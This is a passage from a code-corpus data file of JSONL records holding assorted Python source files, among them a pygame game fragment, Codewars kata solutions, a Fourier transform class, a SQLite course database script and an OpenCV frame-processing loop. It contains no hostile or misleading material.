screen.blit(gameImage, rectDst, rectArea, )\n for i in range(VHNUMS + 1):\n pygame.draw.line(screen, BLACK, (i * cellWidth, 0), (i * cellWidth, gameRect.height))\n for i in range(VHNUMS + 1):\n pygame.draw.line(screen, BLACK, (0, i * cellHeight), (gameRect.width, i * cellHeight))\n screen.blit(text_fmt, (400, 120))\n screen.blit(space, (500, 0))\n pygame.display.update()\n mainClock.tick(FPS)\n\n\nmain()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":10360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"286300254","text":"# Ashley Towne\n# Reset Controller\n\nimport json\nimport cherrypy\n\nclass ResetController():\n def __init__(self, mdb):\n self.mdb = mdb\n\n def PUT(self, key):\n output = {'result':'success'}\n self.mdb.load_one_movie('ml-1m/movies.dat',int(key))\n return json.dumps(output, encoding='latin-1')\n\n def PUT_ALL(self):\n output = {'result':'success'}\n self.mdb.__init__()\n self.mdb.load_movies('ml-1m/movies.dat')\n self.mdb.load_users('ml-1m/users.dat')\n self.mdb.load_ratings('ml-1m/ratings.dat')\n return json.dumps(output, encoding='latin-1')\n\n","sub_path":"web_stuff/hw9/resetcont.py","file_name":"resetcont.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"309472843","text":"from datetime import datetime\n\n# Stolen from Trac trunk :)\ndef pretty_timedelta(time1, time2=None):\n \"\"\"Calculate time delta (inaccurately, only for decorative purposes ;-) for\n prettyprinting. If time1 is None, the current time is used.\"\"\"\n if not time1: time1 = datetime.now()\n if not time2: time2 = datetime.now()\n if time1 > time2:\n time2, time1 = time1, time2\n units = ((3600 * 24 * 365, 'year', 'years'),\n (3600 * 24 * 30, 'month', 'months'),\n (3600 * 24 * 7, 'week', 'weeks'),\n (3600 * 24, 'day', 'days'),\n (3600, 'hour', 'hours'),\n (60, 'minute', 'minutes'))\n diff = time2 - time1\n age_s = int(diff.days * 86400 + diff.seconds)\n if age_s < 60:\n return 'less than a minute'\n rv = ''\n for u, unit, unit_plural in units:\n r = int(float(age_s) / float(u))\n if r > 0:\n tmp_rv = '%d %s' % (r, r == 1 and unit or unit_plural)\n if rv:\n rv += ', '\n rv += tmp_rv\n age_s = float(age_s) - (r * float(u)) \n return rv\n\n","sub_path":"worklogplugin/branches/0.10/worklog/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"509446995","text":"import multiprocessing \nimport re\n\ndef mp_worker(item):\n # Do something\n return item, count\n\ndef mp_handler():\n cpus = multiprocessing.cpu_count()\n p = multiprocessing.Pool(cpus)\n # The below 2 lines populate the list. This listX will later be accessed parallely. This can be replaced as long as listX is passed on to the next step.\n with open('testfile1.csv') as f:\n listX = [line for line in (l.strip() for l in f) if line]\n with open('results.txt', 'w') as f:\n for result in p.imap(mp_worker, listX):\n # (item, count) tuples from worker\n f.write('%s: %d\\n' % result)\n\nif __name__=='__main__':\n mp_handler()\n","sub_path":"mp_filewrite_test.py","file_name":"mp_filewrite_test.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"311657859","text":"# Copyright (c) 2020 Graphcore Ltd. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"\nTests covering various BERT training options..\n\"\"\"\nimport glob\nimport os\nimport unittest\nimport pytest\nimport subprocess\n\nfrom .run_train import run_fine_tune_glue\n\n\ndef get_configs():\n \"\"\"Dynamically read all configs in the test config directory.\"\"\"\n THIS_MODULE_PATH = os.path.dirname(__file__)\n filenames = glob.glob(os.path.join(THIS_MODULE_PATH, 'configs', '*.json'))\n filenames = [f for f in filenames if \"glue_tiny\" in f]\n return filenames\n\n\nfilenames = get_configs()\n\n\ndef pytest_generate_tests(metafunc):\n if \"config\" in metafunc.fixturenames:\n metafunc.parametrize(\"config\", filenames, ids=filenames)\n\n\nclass TestBasicFunctionality(unittest.TestCase):\n \"\"\" Test that the help option works\"\"\"\n\n def test_help(self):\n help_out = run_fine_tune_glue(**{'--help': ''})\n assert isinstance(help_out.stdout.decode(\"utf-8\"), str)\n str_out = help_out.stdout.decode(\"utf-8\")\n found = str_out.find('usage: run_classifier.py')\n self.assertNotEqual(found, -1)\n\n\n@pytest.mark.ipus(1)\n@pytest.mark.ipu_version(\"ipu2\")\nclass TestBuild(object):\n \"\"\"Test the build for each config in the directory.\"\"\"\n\n def test_build(self, config):\n path = os.path.dirname(__file__)\n os.environ['XLA_FLAGS'] = \"--xla_disable_hlo_passes=embeddings-gradient-optimizer\"\n out = run_fine_tune_glue(**{'--config': config,\n '--num-train-steps': 10,\n '--synthetic-data': '',\n '--do-training': '',\n '--vocab-file': f'{path}/vocab.txt'})\n\n output = str(out.stdout, 'utf-8')\n print(f\"'\\nOutput was:\\n{output}\")\n assert out.returncode == 0\n","sub_path":"applications/tensorflow/bert/tests/test_run_glue.py","file_name":"test_run_glue.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"265558612","text":"# -*- coding: utf-8 -*-\n\"\"\"Task solution:\n https://www.codewars.com/kata/floating-point-approximation-ii\n\"\"\"\nfrom math import sin, cos, floor\nimport re\n\nWINDOW = 1.5\nVALUES_FOR_CHARS = dict(zip(\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'], [i for i in range(1, 27)]))\n\nDATA = (\"Rome:Jan 81.2,Feb 63.2,Mar 70.3,Apr 55.7,May 53.0,Jun 36.4,Jul 17.5,\"\n \"Aug 27.5,Sep 60.9,Oct 117.7,Nov 111.0,Dec 97.9\\n\"\n \"London:Jan 48.0,Feb 38.9,Mar 39.9,Apr 42.2,May 47.3,Jun 52.1,Jul 59.5,\"\n \"Aug 57.2,Sep 55.4,Oct 62.0,Nov 59.0,Dec 52.9\\n\"\n \"Paris:Jan 182.3,Feb 120.6,Mar 158.1,Apr 204.9,May 323.1,Jun 300.5,\"\n \"Jul 236.8,Aug 192.9,Sep 66.3,Oct 63.3,Nov 83.2,Dec 154.7\\n\"\n \"NY:Jan 108.7,Feb 101.8,Mar 131.9,Apr 93.5,May 98.8,Jun 93.6,Jul 102.2,\"\n \"Aug 131.8,Sep 92.0,Oct 82.3,Nov 107.8,Dec 94.2\\n\"\n \"Vancouver:Jan 145.7,Feb 121.4,Mar 102.3,Apr 69.2,May 55.8,Jun 47.1,\"\n \"Jul 31.3,Aug 37.0,Sep 59.6,Oct 116.3,Nov 154.6,Dec 171.5\\n\"\n \"Sydney:Jan 103.4,Feb 111.0,Mar 131.3,Apr 129.7,May 123.0,Jun 129.2,\"\n \"Jul 102.8,Aug 80.3,Sep 69.3,Oct 82.6,Nov 81.4,Dec 78.2\\n\"\n \"Bangkok:Jan 10.6,Feb 28.2,Mar 30.7,Apr 71.8,May 189.4,Jun 151.7,\"\n \"Jul 158.2,Aug 187.0,Sep 319.9,Oct 230.8,Nov 57.3,Dec 9.4\\n\"\n \"Tokyo:Jan 49.9,Feb 71.5,Mar 106.4,Apr 129.2,May 144.0,Jun 176.0,\"\n \"Jul 135.6,Aug 148.5,Sep 216.4,Oct 194.1,Nov 95.6,Dec 54.4\\n\"\n \"Beijing:Jan 3.9,Feb 4.7,Mar 8.2,Apr 18.4,May 33.0,Jun 78.1,Jul 224.3,\"\n \"Aug 170.0,Sep 58.4,Oct 18.0,Nov 9.3,Dec 2.7\\n\"\n \"Lima:Jan 1.2,Feb 0.9,Mar 0.7,Apr 0.4,May 0.6,Jun 1.8,Jul 4.4,Aug 3.1,\"\n \"Sep 3.3,Oct 1.7,Nov 0.5,Dec 0.7\\n\")\n\nDATA1 = (\"Rome:Jan 90.2,Feb 73.2,Mar 80.3,Apr 55.7,May 53.0,Jun 36.4,Jul 17.5,\"\n \"Aug 27.5,Sep 60.9,Oct 147.7,Nov 121.0,Dec 97.9\\n\"\n \"London:Jan 58.0,Feb 38.9,Mar 49.9,Apr 42.2,May 67.3,Jun 52.1,\"\n \"Jul 59.5,Aug 77.2,Sep 55.4,Oct 62.0,Nov 69.0,Dec 52.9\\n\"\n \"Paris:Jan 182.3,Feb 120.6,Mar 188.1,Apr 204.9,May 323.1,Jun 350.5,\"\n \"Jul 336.8,Aug 192.9,Sep 66.3,Oct 63.3,Nov 83.2,Dec 154.7\\n\"\n \"NY:Jan 128.7,Feb 121.8,Mar 151.9,Apr 93.5,May 98.8,Jun 93.6,\"\n \"Jul 142.2,Aug 131.8,Sep 92.0,Oct 82.3,Nov 107.8,Dec 94.2\\n\"\n \"Vancouver:Jan 155.7,Feb 121.4,Mar 132.3,Apr 69.2,May 85.8,Jun 47.1,\"\n \"Jul 31.3,Aug 37.0,Sep 69.6,Oct 116.3,Nov 154.6,Dec 171.5\\n\"\n \"Sydney:Jan 123.4,Feb 111.0,Mar 151.3,Apr 129.7,May 123.0,Jun 159.2,\"\n \"Jul 102.8,Aug 90.3,Sep 69.3,Oct 82.6,Nov 81.4,Dec 78.2\\n\"\n \"Bangkok:Jan 20.6,Feb 28.2,Mar 40.7,Apr 81.8,May 189.4,Jun 151.7,\"\n \"Jul 198.2,Aug 197.0,Sep 319.9,Oct 230.8,Nov 57.3,Dec 9.4\\n\"\n \"Tokyo:Jan 59.9,Feb 81.5,Mar 106.4,Apr 139.2,May 144.0,Jun 186.0,\"\n \"Jul 155.6,Aug 148.5,Sep 216.4,Oct 194.1,Nov 95.6,Dec 54.4\\n\"\n \"Beijing:Jan 13.9,Feb 14.7,Mar 18.2,Apr 18.4,May 43.0,Jun 88.1,\"\n \"Jul 224.3,Aug 170.0,Sep 58.4,Oct 38.0,Nov 19.3,Dec 2.7\\n\"\n \"Lima:Jan 11.2,Feb 10.9,Mar 10.7,Apr 10.4,May 10.6,Jun 11.8,Jul 14.4,\"\n \"Aug 13.1,Sep 23.3,Oct 1.7,Nov 0.5,Dec 10.7\\n\")\n\nTOWNS = [\"Rome\", \"London\", \"Paris\", \"NY\", \"Vancouver\", \"Sydney\", \"Bangkok\", \"Tokyo\",\n \"Beijing\", \"Lima\", \"Montevideo\", \"Caracas\", \"Madrid\", \"Berlin\"]\n\ndef find_nb(volume):\n \"\"\"\n Calculates the number of n cubes from building's volume\n\n :param volume : int : The volume of a building\n :return int: number of cubes\n \"\"\"\n vol = 0\n amount = 1\n while vol != volume:\n vol += amount ** 3\n amount += 1\n if vol > volume:\n return -1\n return amount - 1\n\n\ndef bouncing_ball(height, bounce):\n \"\"\"\n Finds how many times the ball will pass in front of the window (1.5 meters height),\n including falling and bouncing.\n :param height: float : the height of the floor.\n :param bounce: float : a bounce of the ball.\n :return: int : number of bounces or -1 in case when one of the conditions is not fulfilled.\n \"\"\"\n\n bounce_num = 1\n\n if height > 0 and 0 < bounce < 1 and WINDOW < height:\n while bounce * height > WINDOW:\n bounce_num += 2\n height *= bounce\n return bounce_num\n\n return -1\n\n\ndef interp(func: str, l_a: float, u_b: float, n_c: int) -> list:\n \"\"\"Search for some intermediate results.\n :func : func or str : receive your function(sin or cos) or string.\n :l_a : float : some float number (0<=l).\n :u_b : float : some float number (l float:\n \"\"\"\n Round down to a less value.\n :i : float : some intermediate results.\n :returns : float : round up to a smaller number.\n \"\"\"\n return floor(i * 100.0) / 100.0\n\n\ndef approximation(num):\n \"\"\"\n give a good approximation of f(x) in the neigbourhood of 0?\n :param num: float : number\n :return: float : approximation of f(x) in the neigbourhood of 0\n \"\"\"\n return num / 2 - num ** 2 / 8 + num ** 3 / 16 - 5 / 128 * num ** 4 + 7 / 256 * num ** 5\n\n\nR = (\"Los Angeles Clippers 104 Dallas Mavericks 88,\"\n \"New York Knicks 101 Atlanta Hawks 112,\"\n \"Indiana Pacers 103 Memphis Grizzlies 112,\"\n \"Los Angeles Lakers 111 Minnesota Timberwolves 112,\"\n \"Phoenix Suns 95 Dallas Mavericks 111,\"\n \"Portland Trail Blazers 112 New Orleans Pelicans 94,\"\n \"Sacramento Kings 104 Los Angeles Clippers 111,\"\n \"Houston Rockets 85 Denver Nuggets 105,\"\n \"Memphis Grizzlies 76 Cleveland Cavaliers 106,\"\n \"Milwaukee Bucks 97 New York Knicks 122,\"\n \"Oklahoma City Thunder 112 San Antonio Spurs 106,\"\n \"Boston Celtics 112 Philadelphia 76ers 95,\"\n \"Brooklyn Nets 100 Chicago Bulls 115,\"\n \"Detroit Pistons 92 Utah Jazz 87,\"\n \"Miami Heat 104 Charlotte Hornets 94,\"\n \"Toronto Raptors 106 Indiana Pacers 99,\"\n \"Orlando Magic 87 Washington Wizards 88,\"\n \"Golden State Warriors 111 New Orleans Pelicans 95,\"\n \"Atlanta Hawks 94 Detroit Pistons 106,\"\n \"Chicago Bulls 97 Cleveland Cavaliers 95,\"\n \"San Antonio Spurs 111 Houston Rockets 86,\"\n \"Chicago Bulls 103 Dallas Mavericks 102,\"\n \"Minnesota Timberwolves 112 Milwaukee Bucks 108,\"\n \"New Orleans Pelicans 93 Miami Heat 90,\"\n \"Boston Celtics 81 Philadelphia 76ers 65,\"\n \"Detroit Pistons 115 Atlanta Hawks 87,\"\n \"Toronto Raptors 92 Washington Wizards 82,\"\n \"Orlando Magic 86 Memphis Grizzlies 76,\"\n \"Los Angeles Clippers 115 Portland Trail Blazers 109,\"\n \"Los Angeles Lakers 97 Golden State Warriors 136,\"\n \"Utah Jazz 98 Denver Nuggets 78,\"\n \"Boston Celtics 99 New York Knicks 85,\"\n \"Indiana Pacers 98 Charlotte Hornets 86,\"\n \"Dallas Mavericks 87 Phoenix Suns 99,\"\n \"Atlanta Hawks 81 Memphis Grizzlies 82,\"\n \"Miami Heat 110 Washington Wizards 105,\"\n \"Detroit Pistons 94 Charlotte Hornets 99,\"\n \"Orlando Magic 110 New Orleans Pelicans 107,\"\n \"Los Angeles Clippers 130 Golden State Warriors 95,\"\n \"Utah Jazz 102 Oklahoma City Thunder 113,\"\n \"San Antonio Spurs 84 Phoenix Suns 104,\"\n \"Chicago Bulls 103 Indiana Pacers 94,\"\n \"Milwaukee Bucks 106 Minnesota Timberwolves 88,\"\n \"Los Angeles Lakers 104 Portland Trail Blazers 102,\"\n \"Houston Rockets 120 New Orleans Pelicans 100,\"\n \"Boston Celtics 111 Brooklyn Nets 105,\"\n \"Charlotte Hornets 94 Chicago Bulls 86,\"\n \"Cleveland Cavaliers 103 Dallas Mavericks 97\")\n\n\ndef nba_cup(result_sheet, to_find):\n \"\"\"\n Function gets name of the team and print statistic of this team.\n :param result_sheet: str : Matches and scores.\n :param to_find: str : Name of the team.\n :return: str : Returns a string with team statistics.\n \"\"\"\n if to_find == '':\n return ''\n result_sheet = result_sheet.lower()\n to_find = to_find.lower()\n wins = draws = losses = scored = conceded = points = 0\n for game in result_sheet.split(','):\n matched = re.search(r'^(.*?) (\\d+) (.*?) (\\d+)$', game)\n if not matched:\n return f'Error(float number):{game.title()}'\n teams = {\n \"f_team\": '',\n \"f_score\": 0,\n \"s_team\": '',\n \"s_score\": 0\n }\n teams[\"f_team\"], teams[\"f_score\"], teams[\"s_team\"], teams[\"s_score\"] = matched.groups()\n first_score, second_score = int(teams[\"f_score\"]), int(teams[\"s_score\"])\n if teams[\"f_team\"] == to_find:\n score, concede = first_score, second_score\n elif teams[\"s_team\"] == to_find:\n score, concede = second_score, first_score\n else:\n continue\n scored += score\n conceded += concede\n if score > concede:\n wins += 1\n points += 3\n elif score < concede:\n losses += 1\n points += 0\n else:\n draws += 1\n points += 1\n if wins == draws == losses == 0:\n return f\"{to_find.title()}:This team didn't play!\"\n if to_find.split(' ')[1] == \"76ers\":\n to_find = 'Philadelphia 76ers'\n else:\n to_find = to_find.title()\n return (f'{to_find}:W={wins};'\n f'D={draws};'\n f'L={losses};'\n f'Scored={scored};'\n f'Conceded={conceded};'\n f'Points={points}')\n\n\ndef mean_rainfall(town, strng):\n \"\"\"Calculate mean value of rainfall in the city.\n\n :param town: str : Name of the location.\n :param strng: str : String with rainfall records for months from January to December.\n The records of towns are separated by \\\\n. The name of each town is followed by :.\n\n :return: float : Mean value of rainfall.\n\n \"\"\"\n result = 0\n if not strng or strng.find(town + ':') == -1:\n result = -1\n else:\n data_r = strng.split('\\n')\n avr = 0.0\n for i in data_r:\n if i.find(town) != -1:\n avr = [float(j) for j in re.findall(r'-?\\d+\\.?\\d*', i)]\n avr = sum(avr) / 12\n break\n result = avr\n return result\n\n\ndef variance_rainfall(town, strng):\n \"\"\"Calculate variance of rainfall in the city.\n\n :param town: str : Name of the location.\n :param strng: str : String with rainfall records for months from January to December.\n The records of towns are separated by \\\\n. The name of each town is followed by :.\n\n :return: float: Variance of rainfall.\n\n \"\"\"\n result = 0\n if not strng or strng.find(town + ':') == -1:\n result = -1\n else:\n data_r = strng.split('\\n')\n tmp = 0.0\n for i in data_r:\n if i.find(town) != -1:\n tmp = [float(j) for j in re.findall(r'-?\\d+\\.?\\d*', i)]\n for value in tmp:\n result += pow(value - mean_rainfall(town, strng), 2)\n result /= 12\n break\n return result\n\n\ndef balance(book):\n \"\"\"\n Function clean the lines keeping only letters, digits, dots and spaces.\n Then add the new balance and then in the last two lines the total expense and\n the average expense.\n :param book: str : not formatted string.\n :return: str : formatted string(book).\n \"\"\"\n book = ''.join([i for i in book if i not in '!:=?;,{}'])\n lst = [i for i in book.split('\\n') if i]\n balance_ = float(lst[0])\n lst[0] = f\"Original Balance: {balance_:.2f}\\r\\n\"\n sum_ = 0\n for i in range(1, len(lst)):\n price = float(lst[i].split()[-1])\n sum_ += float(price)\n balance_ = balance_ - price\n lst[i] = ' '.join(lst[i].split()[0:-1]) + f\" {price:.2f} Balance {balance_:.2f}\\r\\n\"\n avg = sum_ / (len(lst) - 1)\n lst.append(f\"Total expense {sum_:.2f}\\r\\nAverage expense {avg:.2f}\")\n return ''.join(lst)\n\n\ndef consonant_value(string):\n \"\"\"Return the highest value of consonant substrings\n :string : str : initial lowercase string\n :returns : int : the highest value of consonant substrings\n \"\"\"\n sub_val = []\n # Split string into substrings on vowels\n string = string.lower()\n\n string = re.sub('[aeiou]', ' ', string)\n substrings = string.split(' ')\n\n # Finds value of each substring\n for val in substrings:\n value = 0\n for j in val:\n if j in VALUES_FOR_CHARS:\n value += VALUES_FOR_CHARS[j]\n sub_val.append(value)\n return max(sub_val)\n","sub_path":"tasks/kyu6.py","file_name":"kyu6.py","file_ext":"py","file_size_in_byte":13372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"247411972","text":"class Solution(object):\n def combinationSum(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \n DFS\n reference: https://www.youtube.com/watch?v=zIY2BWdsbFs\n \"\"\"\n def dfs(candidates, target, s, cur, ans):\n '''\n s (int) - starting index(of candidates) of this time of recursion\n target \n \n Time: refer to https://github.com/Deadbeef-ECE/Interview/blob/master/Leetcode/BackTracking/039_Combination_Sum.java\n '''\n if target == 0:\n ans.append(cur[:])# deep copy, otherwise cur will become empty\n return\n \n # the loop starting at s\n for i in range(s,len(candidates)):\n # Note here break means adding candidates[i] \n # is not useful IN the previous recursion\n # probably shall try candidates[i+1]\n # and also b/c after i pos is larger line 43\n # if we don't sort, we probably need to check\n # the condition by division and do something doesn't look very intuitive\n if candidates[i] > target: break\n cur.append(candidates[i])\n # we're using candidates[i] so we take \n # target - candidates[i]\n # we can reuse candidates[i] so we do not \n # make i+1\n dfs(candidates, target-candidates[i], i, cur, ans)\n cur.pop()\n\n \n cur = []\n ans = []\n dfs(sorted(candidates), target, 0, cur, ans)\n return ans","sub_path":"leetcode/search/2_combination_sum.py","file_name":"2_combination_sum.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"353635113","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 19 10:09:52 2015\n\n@author: Johannes Lade\n\"\"\"\n\nfrom __future__ import division\nimport numpy as np\nimport fourier_lib as flib\n\nclass Fourier(object):\n \n\n def __init__(self,func=None,descrete_func=None,\\\n descrete_fourier=None): \n self.func = func\n self.descrete_func = descrete_func\n self.descrete_fourier = descrete_fourier\n self.fourier_coeff = None\n\n \n def transform(self,steps=150,domain=[0,2*np.pi]):\n \"\"\"\n Transforms the function stored in self.func with the \n fouriertransformation from 0 to 2pi\n \"\"\"\n self.descrete_fourier = np.zeros(steps,dtype=complex)\n if self.descrete_func == None:\n self.descrete_func = self.func(np.linspace(domain[0],domain[1],steps))\n for k in xrange(steps):\n for i in xrange(steps):\n self.descrete_fourier[k] +=\\\n np.exp(-2.*np.pi/steps*1j*k*i) * self.descrete_func[i] \n self.descrete_fourier /= steps \n \n def reverse(self):\n \"\"\"\n Reverses the fouriertransformation.\n \"\"\"\n steps = self.descrete_fourier.size\n self.descrete_func = np.zeros(steps,dtype=complex)\n for i in xrange(steps):\n for k in xrange(steps):\n self.descrete_func[i] +=\\\n np.exp(2.*np.pi/steps*1j*k*i) * self.descrete_fourier[k]\n \n def coefficients(self,x,fx):\n self.fourier_coeff = flib.coefficients(x,fx)\n\n def fourier_series(self,steps=100,domain=[0,2*np.pi]):\n \"\"\"\n Calculates the descrete fourier transformation with coefficients given\n by the function flib.coefficients.\n \"\"\"\n x = np.linspace(domain[0],domain[1],steps)\n self.descrete_func = self.func(x)\n self.coefficients(x,self.descrete_func)\n for k in xrange(steps):\n for i in xrange(steps):\n a_i, b_i, omega_i = self.fourier_coeff[i,:]\n self.descrete_func[k] +=\\\n a_i*np.cos(omega_i*x[i])\\\n - b_i*np.sin(omega_i*x[i])\n \n\n\n","sub_path":"week13/fourier_class.py","file_name":"fourier_class.py","file_ext":"py","file_size_in_byte":2185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"350453957","text":"# -*- coding:utf-8 -*-\nimport xlwt\n\nimport timetable\nimport re\n\n# 目标文件列 到 keyword的映射(或者叫做 正则表达式 关键字)\nmapping = {\n 3: \"周数\",\n 4: \"教师\",\n 5: \"地点\"\n}\n\n# 目标文件列 到 当前数据文件列的映射\nmap_temp_data = {\n 0: '2',\n 1: '1',\n 2: '0',\n 3: '3',\n 4: '3',\n 5: '3'\n}\n\n\n# 回滚函数\ndef rollback(in_table, i, j, cell):\n if cell == '':\n k = 0\n while in_table.cell(i - k, j).value is '':\n k = k + 1\n return in_table.cell(i - k, j).value\n else:\n return cell\n\n\n# 初始化文件\ndef init_file():\n work_book = xlwt.Workbook()\n sheet = work_book.add_sheet(\"sheet1\", cell_overwrite_ok=True)\n # all in title\n sheet.write(0, 0, \"name\")\n sheet.write(0, 1, \"type\")\n sheet.write(0, 2, \"time\")\n sheet.write(0, 3, \"during\")\n sheet.write(0, 4, \"teacher\")\n sheet.write(0, 5, \"place\")\n return work_book, sheet\n\n\ndef get_token(in_table, row, keyword):\n cell = in_table.cell(row, 3).value\n # . 匹配任意字符\n # * 匹配前一个元字符0到多次\n # \\W 匹配非数字、字母、下划线中的任意字符\n # \\S 匹配非空白字符\n # [\\u4E00-\\u9FA5] 匹配中文\n # + 匹配前一个元字符1到多次\n regex = \".*(\" + keyword + \"\\W*(\\S*[\\u4E00-\\u9FA5]+\\S*)*)\"\n matches = re.match(regex, cell)\n # 结果去杂,替换 , 成 &\n result = matches.group(1).replace(\",\", \"&\")\n # 取出keyword和 :空格\n return result.replace(keyword + \": \", \"\")\n\n\ndef handle(in_table, i, j):\n k = int(map_temp_data[j])\n if k == 1:\n return \"必修\"\n elif k == 0:\n cell = in_table.cell(i, k).value\n # 这两个都有合并单元格,所以要回滚\n cell1 = rollback(in_table, i, k, cell).replace(\"星期\", \"周\")\n cell2 = rollback(in_table, i, k + 1, in_table.cell(i, k + 1).value) + \"节\"\n return cell1 + cell2\n elif k < 3:\n return in_table.cell(i, k).value\n else:\n return get_token(in_table, i, mapping[j])\n\n\ndef save_file(in_table, filename):\n work_book, sheet = init_file()\n for j in range(len(map_temp_data)):\n for i in range(1, in_table.nrows - 3):\n sheet.write(i, j, handle(in_table, i, j))\n work_book.save(filename)\n\n\nif __name__ == '__main__':\n in_file = \"timetable.xlsx\"\n table = timetable.read_file(in_file)\n save_file(table, \"t1.xls\")\n","sub_path":"timetable.version2.py","file_name":"timetable.version2.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"338096610","text":"import sqlite3 as lite\n\nclass Database(object):\n\n def __init__(self):\n global con\n try:\n con = lite.connect('courses.db')\n with con:\n cur = con.cursor()\n cur.execute(\"CREATE TABLE IF NOT EXISTS course(Id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, description TEXT, price TEXT, is_private BOOLEAN NOT NULL DEFAULT 1)\")\n except Exception:\n print(\"Unable to create a DB\")\n\n def insert_data(self, data):\n try:\n with con:\n cur = con.cursor()\n cur.execute(\"INSERT INTO course(name, description, price, is_private) VALUES (?,?,?,?)\", data)\n return True\n except Exception:\n return False\n\n def fetch_data(self):\n try:\n with con: \n cur = con.cursor()\n cur.execute(\"SELECT * FROM course\")\n return cur.fetchall()\n except Exception:\n return False\n\n def delete_data(self, id):\n try:\n with con:\n cur = con.cursor()\n sql = \"DELETE FROM course WHERE Id = ?\"\n cur.execute(sql, [id])\n return True\n except Exception:\n return False\n\n\ndef main():\n\n db = Database()\n\n print(\"Database menu:\")\n print(\"\\nPress 1: Insert data into database\")\n print(\"Press 2: Show data from database\")\n print(\"Press 3: Delete data from database\")\n print(\"\\n\")\n \n choice = input(\"Choose action \")\n\n if choice == \"1\":\n name = input(\"Enter Name: \")\n description = input(\"Enter Description: \")\n price = input(\"Enter Price: \")\n private = input(\"Private (no/yes): \")\n\n if db.insert_data([name, description, price, private]):\n print(\"Inserted successfully\")\n else:\n print(\"Failed to insert\")\n\n elif choice == \"2\":\n print(\"\\n\")\n print(\"Database: \")\n\n for index, item in enumerate(db.fetch_data()):\n print(\"\\nItem no: \" + str(index + 1))\n print(\"ID: \" + str(item[0]))\n print(\"Name: \" + str(item[1]))\n print(\"Description: \" + str(item[2]))\n print(\"Price: \" + str(item[3]))\n private = 'Yes' if item[4] else 'No'\n print(\"Is private: \" + private)\n print(\"\\n\")\n\n \n elif choice == \"3\":\n record_id = input(\"Enter the id: \")\n\n if db.delete_data(record_id):\n print(\"Deleted successfully\")\n else:\n print(\"Delete Failed\")\n\n else:\n print(\"Bad Choice\")\n\n\n\nif __name__ == '__main__':\n main()","sub_path":"class.py","file_name":"class.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"180732391","text":"#!/usr/bin/env python\n## Parallelism using Pool() with late import of cv2 module (different loader addresses)\nfrom multiprocessing import Pool\nimport multiprocessing\nimport threading\nimport queue\nimport timeit\n\nimport cv2\n\n\ndef get_image(q, pool, cap):\n\n while(True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n\n if(not q.full()):\n q.put(pool.apply_async(process_image, (frame,)))\n\n\ndef process_image(image):\n\n font = cv2.FONT_HERSHEY_SIMPLEX\n\n N = 10\n if not hasattr(process_image, \"t_prev\"):\n process_image.t_prev = timeit.default_timer() # it doesn't exist yet, so initialize it\n if not hasattr(process_image, \"counter\"):\n process_image.counter = 0 # it doesn't exist yet, so initialize it\n if not hasattr(process_image, \"fps\"):\n process_image.fps = 0 # it doesn't exist yet, so initialize it\n process_image.counter += 1\n\n if(process_image.counter % N == 0):\n t = timeit.default_timer()\n process_image.fps = N/(t-process_image.t_prev)\n process_image.t_prev = t\n\n # Image processing\n \n image = cv2.flip(image, 1).copy()\n\n image = cv2.medianBlur(image, 21)\n # image = cv2.GaussianBlur(image, (51,51),0)\n\n cv2.putText(image, \"fps: {0:.1f}\".format(process_image.fps), (0, 30), font, 1, (0, 255, 0), 2, cv2.LINE_AA)\n\n return image\n\n\ndef main():\n \n N = 10\n t_prev = timeit.default_timer()\n counter = 0\n fps = 0\n\n q = queue.Queue(maxsize=2) \n pool = Pool(processes=2)\n\n cap = cv2.VideoCapture(0)\n # cap.set(cv2.CAP_PROP_FRAME_WIDTH,1900);\n # cap.set(cv2.CAP_PROP_FRAME_HEIGHT,1080);\n # cap.set(cv2.CAP_PROP_FRAME_WIDTH,1280);\n # cap.set(cv2.CAP_PROP_FRAME_HEIGHT,720);\n # cap.set(cv2.CAP_PROP_FRAME_WIDTH,848);\n # cap.set(cv2.CAP_PROP_FRAME_HEIGHT,480);\n # cap.set(cv2.CAP_PROP_FRAME_WIDTH,640);\n # cap.set(cv2.CAP_PROP_FRAME_HEIGHT,360);\n # cap.set(cv2.CAP_PROP_FRAME_WIDTH,424);\n # cap.set(cv2.CAP_PROP_FRAME_HEIGHT,240);\n\n p = threading.Thread(target=get_image, args=(q,pool,cap,))\n p.start()\n \n cv2.namedWindow('Processed image',cv2.WINDOW_AUTOSIZE | 